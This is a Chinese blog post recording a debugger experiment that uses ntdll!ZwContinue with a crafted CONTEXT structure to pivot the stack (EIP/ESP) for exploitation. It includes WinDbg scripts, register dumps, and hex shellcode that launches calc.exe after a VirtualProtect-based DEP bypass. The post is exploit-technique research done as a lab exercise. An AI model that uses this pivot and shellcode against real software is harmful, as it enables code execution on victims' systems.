注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

昨天验证了下用ZwContinue改写eip和esp  

2014-10-29 09:44:25|  分类: 一些练习 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

之前说过为了变换堆栈指针必须找一个通用的API来达到stack pivot。

查了一下,有可能的就是有CONTEXT 参数的API了。

如KiUserExceptionDispatcher、ZwContinue、SetThreadContext等调试异常类相关的API。

ZwContinue可能最简单,只需要两个参数,一个为CONTEXT 指针,另一个为零。

先调试编译如下

// cl /Zi /Fd ctx.cpp
#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
 CONTEXT ctx;
 memset(&ctx, 0x11, sizeof(ctx) );
 printf("CONTEXT size=0x%x\n", sizeof(ctx) );

 return 0;
}

 

得到这个结构的符号偏移

D:\Temp\scr>ctx
CONTEXT size=0x2cc

0:000> dt ctx!ctx
Local var @ 0x12fc14 Type _CONTEXT
   +0x000 ContextFlags     : 0x11111111
   +0x004 Dr0              : 0x11111111
   +0x008 Dr1              : 0x11111111
   +0x00c Dr2              : 0x11111111
   +0x010 Dr3              : 0x11111111
   +0x014 Dr6              : 0x11111111
   +0x018 Dr7              : 0x11111111
   +0x01c FloatSave        : _FLOATING_SAVE_AREA
   +0x08c SegGs            : 0x11111111
   +0x090 SegFs            : 0x11111111
   +0x094 SegEs            : 0x11111111
   +0x098 SegDs            : 0x11111111
   +0x09c Edi              : 0x11111111
   +0x0a0 Esi              : 0x11111111
   +0x0a4 Ebx              : 0x11111111
   +0x0a8 Edx              : 0x11111111
   +0x0ac Ecx              : 0x11111111
   +0x0b0 Eax              : 0x11111111
   +0x0b4 Ebp              : 0x11111111
   +0x0b8 Eip              : 0x11111111
   +0x0bc SegCs            : 0x11111111
   +0x0c0 EFlags           : 0x11111111
   +0x0c4 Esp              : 0x11111111
   +0x0c8 SegSs            : 0x11111111
   +0x0cc ExtendedRegisters : [512]  "???"


0:000> dt _CONTEXT ContextFlags Eip Esp 12fc14
ctx!_CONTEXT
   +0x000 ContextFlags : 0x11111111
   +0x0b8 Eip          : 0x11111111
   +0x0c4 Esp          : 0x11111111

 

有了这些偏移写个调试脚本验证一下ctn.x

*** change esp+eip by ntdll!ZwContinue ***
g @$exentry
a @eip
xor @edi,@edi
mov [@edi],@eax

g
**********
*uf /c ntdll!KiUserExceptionDispatcher
**********
*uf ntdll!KiUserExceptionDispatcher
**********
dd esp l8
p
p
***********
dd poi(@ebx)
*=eip=
dd @ecx+b8 l1
*=esp=
dd @ecx+c4 l1
***********
.echo =change eip=
ed @ecx+b8 08080808
.echo =change esp=
ed @ecx+c4 0c0c0c0c
*** call ntdll!ZwContinue ***
g ntdll!KiUserExceptionDispatcher+0xe
r al=1
g
***
*** eax=00000000 ebx=7ffd8000 ecx=0007ffb0 edx=7c92e514 esi=00181ffc edi=00000000
*** eip=08080808 esp=0c0c0c0c ebp=0007fff0 iopl=0         nv up ei pl zr na pe nc
*** cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** 08080808 ??              ???
***

 

再用一个弹计算器的shellcode验证一下ctn2.x

*** change esp+eip by ntdll!ZwContinue ***
g @$exentry
.dvalloc /b 0c0b0000 20000
.echo =calc shellcode=
ed 0c0c0c0c
0c0c0c28
0c0c0000
00010000
00000040
0c0c0c24
90909090
90909090
90909090
90909090
0089E8FC
89600000
64D231E5
8B30528B
528B0C52
28728B14
264AB70F
C031FF31
7C613CAC
C1202C02
C7010DCF
5752F0E2
8B10528B
D0013C42
8578408B
014A74C0
488B50D0
20588B18
3CE3D301
8B348B49
FF31D601
C1ACC031
C7010DCF
F475E038
3BF87D03
E275247D
24588B58
8B66D301
588B4B0C
8BD3011C
D0018B04
24244489
59615B5B
E0FF515A
8B5A5F58
5D86EB12
858D016A
000000B9
8B316850
D5FF876F
2A1DE0BB
95A6680A
D5FF9DBD
0A7C063C
75E0FB80
1347BB05
006A6F72
63D5FF53
2E636C61
00657865

******************
a @eip
xor @edi,@edi
mov [@edi],@eax

g
**********
*uf /c ntdll!KiUserExceptionDispatcher
**********
dd esp l8
p
p
***********
*=eip=
dd @ecx+b8 l1
*=esp=
dd @ecx+c4 l1
***********
.echo =change eip=
ed @ecx+b8 kernel32!VirtualProtect
.echo =change esp=
ed @ecx+c4 0c0c0c0c
*** call ntdll!ZwContinue ***
g ntdll!KiUserExceptionDispatcher+0xe
r al=1
g
q

  评论这张
 
阅读(349)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017